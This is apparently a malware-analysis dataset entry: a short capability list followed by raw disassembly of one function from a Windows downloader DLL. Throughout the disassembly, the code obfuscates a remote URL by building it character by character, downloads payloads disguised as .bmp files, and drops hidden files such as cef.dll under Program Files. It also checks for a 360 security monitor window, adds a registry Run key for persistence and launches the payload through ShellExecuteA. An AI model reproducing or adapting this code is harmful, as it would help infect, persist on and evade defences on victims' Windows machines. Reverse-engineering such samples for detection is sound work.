Function at 0x100032b9
Capabilities:
Disable system features via registry on windows
Resolve function by parsing pe exports
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10016e20
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x26ec
call fcn.10010550
mov eax, dword [0x1001f0b0]
xor eax, esp
mov dword [esp + 0x26e8], eax
push ebx
push esi
push edi
mov eax, dword [0x1001f0b0]
xor eax, esp
push eax
lea eax, [esp + 0x2700]
mov dword fs:[0], eax
push 0x68
pop eax
push 0x74
pop esi
push 0x70
mov word [esp + 0x58], ax
mov eax, esi
mov word [esp + 0x5a], ax
mov word [esp + 0x5c], ax
pop eax
push 0x3a
mov word [esp + 0x5e], ax
pop eax
push 0x2f
pop edi
push 0x61
mov word [esp + 0x60], ax
mov eax, edi
mov word [esp + 0x62], ax
mov word [esp + 0x64], ax
pop eax
push 0x64
mov word [esp + 0x66], ax
pop eax
push 0x35
mov word [esp + 0x68], ax
pop eax
push 0x39
mov word [esp + 0x6a], ax
pop eax
push 0x38
mov word [esp + 0x6c], ax
mov eax, esi
mov word [esp + 0x6e], ax
pop eax
push 0x32
mov word [esp + 0x70], ax
pop eax
push 0x67
mov word [esp + 0x72], ax
pop eax
push 0x2e
mov word [esp + 0x74], ax
pop eax
push 0x63
mov word [esp + 0x76], ax
pop eax
push 0x6f
mov word [esp + 0x78], ax
pop eax
push 0x6d
mov word [esp + 0x7a], ax
pop eax
mov word [esp + 0x78], ax
push 0x31
mov eax, edi
mov word [esp + 0x7e], ax
pop eax
mov word [esp + 0x7c], ax
push 0x65
mov eax, edi
mov word [esp + 0x82], ax
mov eax, esi
mov word [esp + 0x84], ax
pop eax
push 0x78
mov word [esp + 0x86], ax
pop eax
mov word [esp + 0x84], ax
push 0x2e
mov eax, esi
mov word [esp + 0x8a], ax
pop eax
push 0x62
mov word [esp + 0x8c], ax
pop eax
push 0x6d
mov word [esp + 0x8e], ax
pop eax
mov word [esp + 0x8c], ax
push 0x70
pop eax
mov word [esp + 0x8e], ax
xor eax, eax
push 0x1fc
mov word [esp + 0x94], ax
mov word [esp + 0x22f8], ax
xor ebx, ebx
lea eax, [esp + 0x22fa]
push ebx
push eax
call fcn.1000c780
add esp, 0xc
xor eax, eax
movzx ecx, word [esp + eax + 0x54]
mov word [esp + eax + 0x22f4], cx
add eax, 2
cmp cx, bx
jne 0x1000342e
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x68
pop eax
push 0x70
mov word [esp + 0x58], ax
mov eax, esi
mov word [esp + 0x5a], ax
mov word [esp + 0x5c], ax
pop eax
push 0x3a
mov word [esp + 0x5e], ax
pop eax
push 0x61
mov word [esp + 0x60], ax
mov eax, edi
mov word [esp + 0x62], ax
mov word [esp + 0x64], ax
pop eax
push 0x64
mov word [esp + 0x66], ax
pop eax
push 0x35
mov word [esp + 0x68], ax
pop eax
push 0x39
mov word [esp + 0x6a], ax
pop eax
push 0x38
mov word [esp + 0x6c], ax
mov eax, esi
mov word [esp + 0x6e], ax
pop eax
push 0x32
mov word [esp + 0x70], ax
pop eax
push 0x67
mov word [esp + 0x72], ax
pop eax
push 0x2e
mov word [esp + 0x74], ax
pop eax
push 0x63
mov word [esp + 0x76], ax
pop eax
push 0x6f
mov word [esp + 0x78], ax
pop eax
push 0x6d
mov word [esp + 0x7a], ax
pop eax
push 0x31
mov word [esp + 0x7c], ax
mov eax, edi
mov word [esp + 0x7e], ax
pop eax
push 0x64
mov word [esp + 0x80], ax
mov eax, edi
mov word [esp + 0x82], ax
pop eax
push 0x2e
mov word [esp + 0x84], ax
pop eax
push 0x62
mov word [esp + 0x86], ax
pop eax
push 0x6d
mov word [esp + 0x88], ax
pop eax
push 0x70
mov word [esp + 0x8a], ax
pop eax
mov word [esp + 0x88], ax
xor eax, eax
push 0x1fc
mov word [esp + 0x8e], ax
mov word [esp + 0x1cf8], ax
push ebx
lea eax, [esp + 0x1cfe]
push eax
call fcn.1000c780
add esp, 0xc
xor eax, eax
movzx ecx, word [esp + eax + 0x54]
mov word [esp + eax + 0x1cf4], cx
add eax, 2
cmp cx, bx
jne 0x10003557
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x68
pop eax
push 0x70
mov word [esp + 0x58], ax
mov eax, esi
mov word [esp + 0x5a], ax
mov word [esp + 0x5c], ax
pop eax
push 0x3a
mov word [esp + 0x5e], ax
pop eax
push 0x61
mov word [esp + 0x60], ax
mov eax, edi
mov word [esp + 0x62], ax
mov word [esp + 0x64], ax
pop eax
push 0x64
mov word [esp + 0x66], ax
pop eax
push 0x35
mov word [esp + 0x68], ax
pop eax
push 0x39
mov word [esp + 0x6a], ax
pop eax
push 0x38
mov word [esp + 0x6c], ax
mov eax, esi
mov word [esp + 0x6e], ax
pop eax
push 0x32
mov word [esp + 0x70], ax
pop eax
push 0x67
mov word [esp + 0x72], ax
pop eax
push 0x2e
mov word [esp + 0x74], ax
pop eax
push 0x63
mov word [esp + 0x76], ax
pop eax
push 0x6f
mov word [esp + 0x78], ax
pop eax
push 0x6d
mov word [esp + 0x7a], ax
pop eax
push 0x31
mov word [esp + 0x7c], ax
mov eax, edi
mov word [esp + 0x7e], ax
pop eax
push 0x2e
mov word [esp + 0x80], ax
pop eax
push 0x62
mov word [esp + 0x86], ax
pop eax
push 0x6d
mov word [esp + 0x88], ax
pop eax
push 0x70
mov word [esp + 0x8a], ax
pop eax
mov word [esp + 0x88], ax
xor eax, eax
push 0x1fc
mov word [esp + 0x8e], ax
mov word [esp + 0x1ef8], ax
lea eax, [esp + 0x1efa]
push ebx
push eax
mov word [esp + 0x8a], di
mov word [esp + 0x8c], si
call fcn.1000c780
add esp, 0xc
xor eax, eax
movzx ecx, word [esp + eax + 0x54]
mov word [esp + eax + 0x1ef4], cx
add eax, 2
cmp cx, bx
jne 0x1000367b
push ebx
call fcn.1000b47b
pop ecx
push eax
call fcn.1000b34c
pop ecx
mov edi, 0xfe
push edi
lea eax, [esp + 0x11f9]
push ebx
push eax
mov byte [esp + 0x1200], bl
call fcn.1000c780
add esp, 0xc
call fcn.1000b35e
push 3
cdq
pop ecx
idiv ecx
mov dword [esp + 0x1c], ebx
lea esi, [edx + 6]
cmp esi, ebx
jle 0x100036f8
call fcn.1000b35e
cdq
push 0x3e
pop ecx
idiv ecx
mov ecx, dword [esp + 0x1c]
inc dword [esp + 0x1c]
mov al, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
mov byte [esp + ecx + 0x11f4], al
cmp dword [esp + 0x1c], esi
jl 0x100036d2
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call esi
push edi
lea eax, [esp + 0x7f9]
push ebx
push eax
mov dword [esp + 0xe8], 0x505c3a43
mov dword [esp + 0xec], 0x72676f72
mov dword [esp + 0xf0], 0x46206d61
mov dword [esp + 0xf4], 0x73656c69
mov dword [esp + 0xf8], 0x38782820
mov dword [esp + 0xfc], 0x5c2936
mov byte [esp + 0x800], bl
call fcn.1000c780
add esp, 0xc
lea eax, [esp + 0x11f4]
push eax
lea eax, [esp + 0xe0]
push eax
lea eax, [esp + 0x7fc]
push str._s_s_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
lea eax, [esp + 0x909]
push ebx
push eax
mov byte [esp + 0x910], bl
call fcn.1000c780
add esp, 0x1c
xor eax, eax
mov cl, byte [esp + eax + 0x7f4]
mov byte [esp + eax + 0x8f4], cl
inc eax
cmp cl, bl
jne 0x1000379b
push 1
call esi
lea eax, [esp + 0x8f4]
push eax
call dword [sym.imp.dbghelp.dll_MakeSureDirectoryPathExists]
push 1
call esi
push edi
lea eax, [esp + 0xcf9]
push ebx
push eax
mov byte [esp + 0xd00], bl
call fcn.1000c780
add esp, 0xc
lea eax, [esp + 0x8f4]
push eax
lea eax, [esp + 0xcf8]
push str._slib
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 1
call esi
lea edi, [esp + 0xcf4]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10003807
mov esi, str.cef.dll
movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x8f4]
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
or eax, 2
push eax
lea eax, [esp + 0x8f8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edi, 0xfe
push edi
lea eax, [esp + 0xbf9]
push ebx
push eax
mov dword [esp + 0xd4], 0x2e643374
mov dword [esp + 0xd8], 0x706d74
mov byte [esp + 0xc00], bl
call fcn.1000c780
add esp, 0xc
lea eax, [esp + 0xc8]
push eax
lea eax, [esp + 0x7f8]
push eax
mov esi, str._s_s
lea eax, [esp + 0xbfc]
push esi
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
lea eax, [esp + 0x1709]
push ebx
push eax
mov byte [esp + 0x1710], bl
call fcn.1000c780
add esp, 0x1c
xor eax, eax
mov cl, byte [esp + eax + 0xbf4]
mov byte [esp + eax + 0x16f4], cl
inc eax
cmp cl, bl
jne 0x100038a9
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
lea eax, [esp + 0x17f9]
push ebx
push eax
mov dword [esp + 0xc4], 0x2e643474
mov dword [esp + 0xc8], 0x706d74
mov byte [esp + 0x1800], bl
call fcn.1000c780
add esp, 0xc
lea eax, [esp + 0xb8]
push eax
lea eax, [esp + 0x7f8]
push eax
lea eax, [esp + 0x17fc]
push esi
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
lea eax, [esp + 0xf09]
push ebx
push eax
mov byte [esp + 0xf10], bl
call fcn.1000c780
add esp, 0x1c
xor eax, eax
mov cl, byte [esp + eax + 0x17f4]
mov byte [esp + eax + 0xef4], cl
inc eax
cmp cl, bl
jne 0x1000392d
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
lea eax, [esp + 0x12f9]
push ebx
push eax
mov dword [esp + 0xcc], 0x2e643574
mov dword [esp + 0xd0], 0x706d74
mov byte [esp + 0x1300], bl
call fcn.1000c780
add esp, 0xc
lea eax, [esp + 0xc0]
push eax
lea eax, [esp + 0x7f8]
push eax
lea eax, [esp + 0x12fc]
push esi
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
lea eax, [esp + 0x1509]
push ebx
push eax
mov byte [esp + 0x1510], bl
call fcn.1000c780
add esp, 0x1c
xor eax, eax
mov cl, byte [esp + eax + 0x12f4]
mov byte [esp + eax + 0x14f4], cl
inc eax
cmp cl, bl
jne 0x100039b1
mov esi, 0x3f2
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x16f8]
push 0x6251a1
push eax
lea ecx, [esp + 0x2300]
mov dword [esp + 0x24], ebx
call fcn.10002927
add esp, 0xc
push esi
mov byte [esp + 0x1b], al
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [esp + 0x17], 1
jne 0x100039c9
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0xef8]
push ebx
push eax
lea ecx, [esp + 0x1d00]
mov dword [esp + 0x24], ebx
call fcn.10002927
add esp, 0xc
push esi
mov byte [esp + 0x1b], al
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [esp + 0x17], 1
jne 0x10003a00
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x14f8]
push ebx
push eax
lea ecx, [esp + 0x1f00]
mov dword [esp + 0x24], ebx
call fcn.10002927
add esp, 0xc
push esi
mov byte [esp + 0x1b], al
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [esp + 0x17], 1
jne 0x10003a33
push ebx
call fcn.1000b47b
pop ecx
push eax
call fcn.1000b34c
pop ecx
push edi
lea eax, [esp + 0xdf9]
push ebx
push eax
mov byte [esp + 0xe00], bl
call fcn.1000c780
add esp, 0xc
xor esi, esi
call fcn.1000b35e
cdq
push 0x3e
pop ecx
idiv ecx
inc esi
mov al, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
mov byte [esp + esi + 0xdf3], al
cmp esi, 7
jl 0x10003a8f
push edi
lea eax, [esp + 0x3f9]
push ebx
push eax
mov byte [esp + 0x400], bl
call fcn.1000c780
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0xdf4]
push eax
lea eax, [esp + 0x8f8]
push eax
lea eax, [esp + 0xd8]
push eax
lea eax, [esp + 0x400]
push eax
mov dword [esp + 0xe0], 0x73257325
mov dword [esp + 0xe4], 0x6578652e
mov byte [esp + 0xe8], bl
call esi
push edi
lea eax, [esp + 0x1009]
push ebx
push eax
mov byte [esp + 0x1010], bl
call fcn.1000c780
add esp, 0x1c
lea eax, [esp + 0xdf4]
push eax
lea eax, [esp + 0xb4]
push eax
lea eax, [esp + 0xffc]
push eax
mov dword [esp + 0xbc], 0x652e7325
mov word [esp + 0xc0], 0x6578
mov byte [esp + 0xc2], bl
call esi
add esp, 0xc
lea eax, [esp + 0xff4]
lea ecx, [esp + 0x38]
call fcn.10005463
sub esp, 0x1c
mov dword [esp + 0x2724], ebx
lea ecx, [esp + 0x54]
mov eax, esp
mov dword [esp + 0x3c], esp
push ecx
call fcn.1000543d
sub esp, 0x1c
mov byte [esp + 0x2740], 1
mov eax, str.lalala123_
mov ecx, esp
mov dword [esp + 0x50], esp
call fcn.10005463
sub esp, 0x1c
mov byte [esp + 0x275c], 2
mov eax, str.text_
mov ecx, esp
mov dword [esp + 0x70], esp
call fcn.10005463
sub esp, 0x1c
mov byte [esp + 0x2778], 3
lea eax, [esp + 0x864]
mov ecx, esp
mov dword [esp + 0x94], esp
call fcn.10005463
sub esp, 0x1c
mov byte [esp + 0x2794], 4
lea eax, [esp + 0xc80]
mov ecx, esp
mov dword [esp + 0x12c], esp
call fcn.10005463
lea eax, [esp + 0xb4]
push eax
mov byte [esp + 0x2798], bl
call fcn.10009afb
lea eax, [esp + 0xd84]
push eax
lea eax, [esp + 0xf88]
push eax
mov byte [esp + 0x27a0], 5
call fcn.10002dd9
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x98
push 1
call esi
push 0x320
call esi
xor eax, eax
push 0x1fc
mov word [esp + 0x20f8], ax
lea eax, [esp + 0x20fa]
push ebx
push eax
call fcn.1000c780
add esp, 0xc
push 0xff
lea eax, [esp + 0x3f8]
push eax
lea eax, [esp + 0x20fc]
push eax
call fcn.1000aa5d
add esp, 0xc
push 0xfb
lea eax, [esp + 0x13fc]
push ebx
push eax
mov dword [esp + 0x1400], 0x363351
call fcn.1000c780
mov esi, str.0SafeMonClass
lea edi, [esp + 0x1900]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
add esp, 0xc
movsd dword es:[edi], dword [esi]
push 0xf1
lea eax, [esp + 0x1906]
push ebx
push eax
movsw word es:[edi], word [esi]
call fcn.1000c780
add esp, 0xc
lea eax, [esp + 0x18f4]
push eax
lea eax, [esp + 0x13f8]
push 0xff
push eax
call fcn.1000b3bd
add esp, 0xc
push ebx
lea eax, [esp + 0x13f8]
push eax
push ebx
push ebx
call dword [sym.imp.USER32.dll_FindWindowExA]
cmp eax, 1
jle 0x10003f57
call fcn.100018ea
cmp eax, 1
jne 0x10003d37
lea eax, [esp + 0x3f4]
push eax
call fcn.10002388
mov dword [esp], 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x3f4]
push eax
call fcn.10002388
jmp 0x10003eea
cmp eax, 3
jne 0x10003eeb
push 0x68
pop eax
push 0x74
mov word [esp + 0x58], ax
pop eax
push 0x70
mov word [esp + 0x5a], ax
mov word [esp + 0x5c], ax
pop eax
push 0x3a
mov word [esp + 0x5e], ax
pop eax
push 0x2f
mov word [esp + 0x60], ax
pop eax
push 0x61
mov ecx, eax
mov word [esp + 0x62], cx
mov word [esp + 0x64], cx
pop ecx
push 0x64
mov word [esp + 0x66], cx
pop ecx
push 0x35
mov word [esp + 0x68], cx
pop ecx
push 0x39
mov word [esp + 0x6a], cx
pop ecx
push 0x74
mov word [esp + 0x6c], cx
pop ecx
push 0x38
mov word [esp + 0x6e], cx
pop ecx
push 0x32
mov word [esp + 0x70], cx
pop ecx
push 0x67
mov word [esp + 0x72], cx
pop ecx
push 0x2e
mov word [esp + 0x74], cx
pop ecx
push 0x63
mov word [esp + 0x76], cx
pop ecx
push 0x6f
mov word [esp + 0x78], cx
pop ecx
push 0x6d
mov word [esp + 0x7a], cx
pop ecx
push 0x31
mov word [esp + 0x7c], cx
mov ecx, eax
mov word [esp + 0x82], ax
mov word [esp + 0x7e], cx
pop ecx
push 0x68
pop eax
push 0x2e
mov word [esp + 0x84], ax
pop eax
push 0x62
mov word [esp + 0x86], ax
pop eax
push 0x6d
mov word [esp + 0x88], ax
pop eax
push 0x70
mov word [esp + 0x8a], ax
pop eax
mov word [esp + 0x88], ax
xor eax, eax
push 0x47
mov word [esp + 0x8e], ax
pop eax
mov word [esp + 0x7c], cx
mov word [esp + 0xa0], ax
push 0x45
mov esi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
pop eax
mov word [esp + 0xa2], ax
push 0x54
pop eax
mov word [esp + 0xa4], ax
xor eax, eax
mov word [esp + 0xa6], ax
lea eax, [esp + 0xa0]
push eax
call esi
mov edi, eax
lea eax, [esp + 0x54]
push eax
call esi
mov esi, eax
push esi
lea eax, [esp + 0x20]
push edi
push eax
mov dword [esp + 0x28], ebx
call fcn.10002e80
add esp, 0xc
cmp dword [esp + 0x1c], 0x1f40
mov dword [esp + 0x18], eax
jae 0x10003ead
push 0x5e1
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
lea eax, [esp + 0x20]
push edi
push eax
call fcn.10002e80
add esp, 0xc
push 0x18cd
push dword [esp + 0x20]
push dword [esp + 0x20]
call fcn.100028f5
mov ecx, dword [esp + 0x28]
add esp, 0xc
lea eax, [esp + 0x20f4]
push eax
push dword [esp + 0x1c]
call fcn.10003003
pop ecx
pop ecx
test eax, eax
jne 0x10003eeb
lea eax, [esp + 0x3f4]
push eax
call fcn.10001144
pop ecx
lea eax, [esp + 0x3f4]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
movzx eax, ax
push 0x1001b700
push str.SHELL_TrayWnd
mov dword [esp + 0x20], eax
call edi
mov esi, dword [sym.imp.USER32.dll_PostMessageA]
push ebx
push 0x641
push 0x4ea
push eax
mov dword [esp + 0x2c], eax
call esi
movzx eax, word [esp + 0x18]
push eax
push 0x641
push 0x4e9
push dword [esp + 0x28]
call esi
push ebx
push str.Shell_TrayWnd
call edi
push ebx
push ebx
push 0x312
push eax
call esi
jmp 0x10004465
push 0xfe
lea eax, [esp + 0x9f9]
push ebx
push eax
mov byte [esp + 0xa00], bl
call fcn.1000c780
lea eax, [esp + 0x800]
add esp, 0xc
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10003f7d
lea edi, [esp + 0x9f4]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x10003f8e
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x9f4]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10003fae
mov esi, 0x1001b778
movsd dword es:[edi], dword [esi]
lea edi, [esp + 0x9f4]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10003fc4
mov esi, 0x1001b77c
push 0xfe
movsw word es:[edi], word [esi]
lea eax, [esp + 0xaf9]
push ebx
push eax
movsb byte es:[edi], byte [esi]
mov byte [esp + 0xb00], bl
call fcn.1000c780
lea edi, [esp + 0xb00]
add esp, 0xc
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10003ff9
mov esi, 0x1001b780
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xaf4]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10004011
mov esi, 0x1001b784
movsd dword es:[edi], dword [esi]
lea edi, [esp + 0xaf4]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10004027
mov esi, 0x1001b788
push 0xfe
movsw word es:[edi], word [esi]
lea eax, [esp + 0xf9]
push ebx
push eax
movsb byte es:[edi], byte [esi]
mov byte [esp + 0x100], bl
call fcn.1000c780
lea edi, [esp + 0x100]
add esp, 0xc
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1000405c
mov esi, 0x1001b78c
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xf4]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10004074
mov esi, str.d__HK
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0xf4]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1000408c
mov esi, str.CUSOF
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xf4]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100040a5
mov esi, str.TWAREMic
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0xf4]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100040be
mov esi, str.roso
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xf4]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100040d5
mov esi, str.ftWin
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xf4]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100040ee
mov esi, str.dowsCurr
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0xf4]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10004107
mov esi, str.entVe
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0xf4]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1000411f
mov esi, str.rsionR
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea edi, [esp + 0xf4]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10004136
mov esi, str.un___v_de
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0xf4]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1000414f
mov esi, str.mo__t_RE
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xf4]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10004167
mov esi, str.G_SZ__d__
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x3f4]
movsw word es:[edi], word [esi]
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10004181
lea edi, [esp + 0xf4]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x10004192
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xf4]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100041b2
xor eax, eax
push 0x1fc
mov word [esp + 0x24f8], ax
lea eax, [esp + 0x24fa]
push ebx
mov esi, 0x1001b7fc
push eax
movsw word es:[edi], word [esi]
call fcn.1000c780
add esp, 0xc
push 0xff
lea eax, [esp + 0x9f8]
push eax
lea eax, [esp + 0x24fc]
push eax
call fcn.1000aa5d
add esp, 0xc
xor eax, eax
push 0x1fc
mov word [esp + 0x1af8], ax
lea eax, [esp + 0x1afa]
push ebx
push eax
call fcn.1000c780
add esp, 0xc
lea edi, [esp + 0x1af4]
push 2
sub edi, 2
pop edx
mov ax, word [edi + 2]
add edi, edx
cmp ax, bx
jne 0x1000422b
mov esi, 0x1001b800
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0x1af4]
sub edi, 2
mov ax, word [edi + 2]
add edi, edx
cmp ax, bx
jne 0x10004248
mov esi, str.le:___
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x24f4]
movsw word es:[edi], word [esi]
mov esi, eax
mov cx, word [eax]
add eax, edx
cmp cx, bx
jne 0x10004266
lea edi, [esp + 0x1af4]
sub eax, esi
sub edi, 2
mov cx, word [edi + 2]
add edi, edx
cmp cx, bx
jne 0x1000427c
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, str.BkSha
lea edi, [esp + 0x15f4]
movsd dword es:[edi], dword [esi]
push 0xf9
lea eax, [esp + 0x15fe]
push ebx
push eax
movsw word es:[edi], word [esi]
call fcn.1000c780
mov esi, str.dowWndClass
lea edi, [esp + 0x1a00]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
add esp, 0xc
movsd dword es:[edi], dword [esi]
mov esi, 0xf3
push esi
lea eax, [esp + 0x1a04]
push ebx
push eax
call fcn.1000c780
add esp, 0xc
lea eax, [esp + 0x19f4]
push eax
lea eax, [esp + 0x15f8]
push 0xff
push eax
call fcn.1000b3bd
add esp, 0xc
push ebx
lea eax, [esp + 0x15f8]
push eax
push ebx
push ebx
call dword [sym.imp.USER32.dll_FindWindowExA]
cmp eax, 1
jle 0x10004480
lea eax, [esp + 0x9f4]
push eax
lea edi, [esp + 0xf8]
lea ebx, [esp + 0xaf8]
call fcn.10001030
mov dword [esp], 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x1000438b
and dword [esp + 0x18], 0
lea eax, [esp + 0x18]
push eax
push str._Y_a
push 0x17
push 0
push 0x100195a4
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x10004385
mov eax, dword [esp + 0x18]
test eax, eax
je 0x10004385
mov ecx, dword [eax]
lea edx, [esp + 0x1af4]
push edx
push eax
call dword [ecx + 0x18]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor ebx, ebx
push esi
lea eax, [esp + 0x704]
push ebx
push eax
mov dword [esp + 0x700], 0x6c656853
mov dword [esp + 0x704], 0x2e32336c
mov dword [esp + 0x708], 0x6c6c64
call fcn.1000c780
add esp, 0xc
lea eax, [esp + 0x6f4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0xf1
mov esi, eax
lea eax, [esp + 0x206]
push ebx
push eax
mov dword [esp + 0x200], 0x6c656853
mov dword [esp + 0x204], 0x6578456c
mov dword [esp + 0x208], 0x65747563
mov word [esp + 0x20c], 0x41
call fcn.1000c780
add esp, 0xc
lea eax, [esp + 0x1f4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
cmp esi, ebx
je 0x10004465
push 0xfa
lea eax, [esp + 0x5fd]
push ebx
push eax
mov dword [esp + 0x600], 0x6e65704f
mov byte [esp + 0x604], bl
call fcn.1000c780
add esp, 0xc
push 5
push ebx
push ebx
lea eax, [esp + 0x400]
push eax
lea eax, [esp + 0x604]
push eax
push ebx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
push 1
call esi
push 1
call esi
push ebx
call fcn.1000b74f
mov edi, reloc.OLEAUT32.dll_SysReAllocString
push edi
push 2
lea eax, [esp + 0x3fc]
push eax
call fcn.10002887
push 0x3e8
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x1c], 1
je 0x100044f9
push edi
push 1
lea eax, [esp + 0x3fc]
push eax
call fcn.10002887
cmp eax, 1
je 0x100044f9
dec edi
push edi
push 2
lea eax, [esp + 0x3fc]
push eax
call fcn.10002887
cmp eax, 1
je 0x100044f9
push edi
push 1
lea eax, [esp + 0x3fc]
push eax
call fcn.10002887
cmp eax, 1
je 0x100044f9
lea eax, [esp + 0x3f4]
push eax
call fcn.10002388
pop ecx
push esi
lea eax, [esp + 0x504]
push ebx
push eax
mov dword [esp + 0x500], 0x6c656853
mov dword [esp + 0x504], 0x2e32336c
mov dword [esp + 0x508], 0x6c6c64
call fcn.1000c780
add esp, 0xc
lea eax, [esp + 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0xf1
mov edi, eax
lea eax, [esp + 0x306]
push ebx
push eax
mov dword [esp + 0x300], 0x6c656853
mov dword [esp + 0x304], 0x6578456c
mov dword [esp + 0x308], 0x65747563
mov word [esp + 0x30c], 0x41
call fcn.1000c780
add esp, 0xc
lea eax, [esp + 0x2f4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x1c], eax
cmp eax, ebx
je 0x1000470b
push 0xfa
lea eax, [esp + 0x5fd]
push ebx
push eax
mov dword [esp + 0x600], 0x6e65704f
